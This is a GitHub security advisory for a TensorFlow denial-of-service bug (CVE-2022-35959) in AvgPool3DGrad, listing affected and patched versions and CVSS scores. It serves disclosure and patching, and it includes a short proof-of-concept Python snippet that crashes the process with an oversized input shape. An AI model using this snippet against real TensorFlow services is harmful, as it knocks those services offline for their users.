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TensorFlow vulnerable to `CHECK` failures in `AvgPool3DGrad`

Moderate severity GitHub Reviewed Published Sep 15, 2022 in tensorflow/tensorflow • Updated Jan 28, 2023

Package

pip tensorflow (pip)

Affected versions

< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1

Patched versions

2.7.2
2.8.1
2.9.1
pip tensorflow-cpu (pip)
< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1
2.7.2
2.8.1
2.9.1
pip tensorflow-gpu (pip)
< 2.7.2
>= 2.8.0, < 2.8.1
>= 2.9.0, < 2.9.1
2.7.2
2.8.1
2.9.1

Description

Impact

The implementation of AvgPool3DGradOp does not fully validate the input orig_input_shape. This results in an overflow that results in a CHECK failure which can be used to trigger a denial of service attack:

import tensorflow as tf

ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"
data_format = "NDHWC"
orig_input_shape = tf.constant(1879048192, shape=[5], dtype=tf.int32)
grad = tf.constant(1, shape=[1,3,2,4,2], dtype=tf.float32)
tf.raw_ops.AvgPool3DGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)

Patches

We have patched the issue in GitHub commit 9178ac9d6389bdc54638ab913ea0e419234d14eb.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

References

@pak-laura pak-laura published to tensorflow/tensorflow Sep 15, 2022
Published by the National Vulnerability Database Sep 16, 2022
Published to the GitHub Advisory Database Sep 16, 2022
Reviewed Sep 16, 2022
Last updated Jan 28, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(33rd percentile)

Weaknesses

Reachable Assertion

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary. Learn more on MITRE.

CVE ID

CVE-2022-35959

GHSA ID

GHSA-wxjj-cgcx-r3vq

Source code

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